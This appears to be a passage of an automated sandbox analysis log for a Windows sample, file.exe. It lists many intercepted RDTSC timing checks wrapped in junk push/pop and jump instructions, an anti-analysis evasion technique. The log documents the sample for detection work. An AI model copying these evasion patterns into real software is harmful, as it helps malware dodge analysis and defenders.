Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB1D4 second address: 5AB1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB1D8 second address: 5AB1E2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7648CE8502h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB344 second address: 5AB348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5517E2 second address: 5517E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABFCF second address: 5ABFD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABFD3 second address: 5ABFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B405C second address: 5B4060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B21DE second address: 5B2206 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7648CE84F2h 0x00000008 push ebx 0x00000009 jno 00007F7648CE84E6h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F7648CE84ECh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2206 second address: 5B220A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2483 second address: 5B24A0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7648CE84F3h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B24A0 second address: 5B24B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648782565h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B24B9 second address: 5B24BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2C9D second address: 5B2CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B325B second address: 5B326E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7648CE84EDh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B326E second address: 5B3272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3272 second address: 5B3278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B34F8 second address: 5B34FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37B7 second address: 5B37BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37BD second address: 5B37F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f ja 00007F7648782575h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37F1 second address: 5B37F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8791 second address: 5B87E6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7648782556h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7648782566h 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F7648782560h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7648782563h 0x00000025 je 00007F7648782556h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B87E6 second address: 5B87EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB8AE second address: 5BB8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F7648782561h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB8C6 second address: 5BB8D0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7648CE84ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB9F9 second address: 5BBA1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F7648782556h 0x0000000a jmp 00007F7648782567h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBA1A second address: 5BBA23 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBA23 second address: 5BBA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648782563h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBBC4 second address: 5BBBC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBE73 second address: 5BBE8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648782566h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBFB4 second address: 5BBFC1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4A09 second address: 5C4A0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3125 second address: 5C312B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3287 second address: 5C3291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3291 second address: 5C32B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F7648CE84F5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C32B6 second address: 5C32C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C32C2 second address: 5C32C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C32C8 second address: 5C32CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3417 second address: 5C341B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3765 second address: 5C3769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C413F second address: 5C416E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F7648CE84F8h 0x0000000b jmp 00007F7648CE84EEh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C416E second address: 5C418B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7648782568h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8ACF second address: 5C8AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F7648CE84ECh 0x0000000b jnc 00007F7648CE84E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8AE0 second address: 5C8AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8AE6 second address: 5C8AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8AEA second address: 5C8AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C894D second address: 5C8951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8951 second address: 5C896D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F764878255Ah 0x00000011 je 00007F7648782556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513885 second address: 513889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513889 second address: 51388F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCEA second address: 5CDCEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCEF second address: 5CDD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648782560h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e jmp 00007F764878255Eh 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop ebx 0x00000016 jns 00007F764878255Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9E99 second address: 5D9E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9FCE second address: 5D9FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0C12 second address: 5E0C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F7648CE8503h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0C40 second address: 5E0C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0573 second address: 5E0581 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0581 second address: 5E0593 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7648782556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0593 second address: 5E0597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0597 second address: 5E05A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E05A9 second address: 5E05B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0749 second address: 5E0765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648782561h 0x00000007 push eax 0x00000008 jp 00007F7648782556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5556 second address: 5E5564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4E55 second address: 5F4E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4FD7 second address: 5F5004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7648CE84F2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F7648CE84EAh 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 ja 00007F7648CE84E6h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5004 second address: 5F500A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5824 second address: 5F582E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F7648CE84E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6190 second address: 5F6194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6194 second address: 5F61CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7648CE84F9h 0x0000000b pushad 0x0000000c jmp 00007F7648CE84F9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F61CF second address: 5F61DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7648782556h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7AB4 second address: 5F7AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD21D second address: 5FD221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B355 second address: 60B35F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7648CE84EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D26C second address: 61D273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D273 second address: 61D285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648CE84EAh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D285 second address: 61D298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F764878255Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50CDCA second address: 50CDDA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7648CE84E6h 0x00000008 jl 00007F7648CE84E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50CDDA second address: 50CDE1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CDE4 second address: 61CE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F7648CE84F4h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CE01 second address: 61CE13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnc 00007F7648782556h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CE13 second address: 61CE33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F7648CE84E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7648CE84ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F7648CE84E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E7D5 second address: 50E7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635A0B second address: 635A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635A12 second address: 635A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636389 second address: 63638E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63638E second address: 6363A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7648782564h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6363A9 second address: 6363AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6363AD second address: 6363C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F764878255Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6364F1 second address: 6364F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6364F5 second address: 6364FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6364FD second address: 636505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636505 second address: 636509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636509 second address: 636518 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007F7648CE84E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636518 second address: 636533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F764878255Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6366B6 second address: 6366F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648CE84F7h 0x00000009 jmp 00007F7648CE84EBh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7648CE84F7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6366F8 second address: 636708 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7648782556h 0x00000008 ja 00007F7648782556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6396B0 second address: 6396D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F7648CE84F8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639905 second address: 639909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639909 second address: 639913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639913 second address: 639937 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dl, CBh 0x0000000c push dword ptr [ebp+122D33E8h] 0x00000012 call 00007F7648782559h 0x00000017 pushad 0x00000018 push edi 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639937 second address: 63993B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63993B second address: 639955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 jl 00007F7648782558h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edi 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
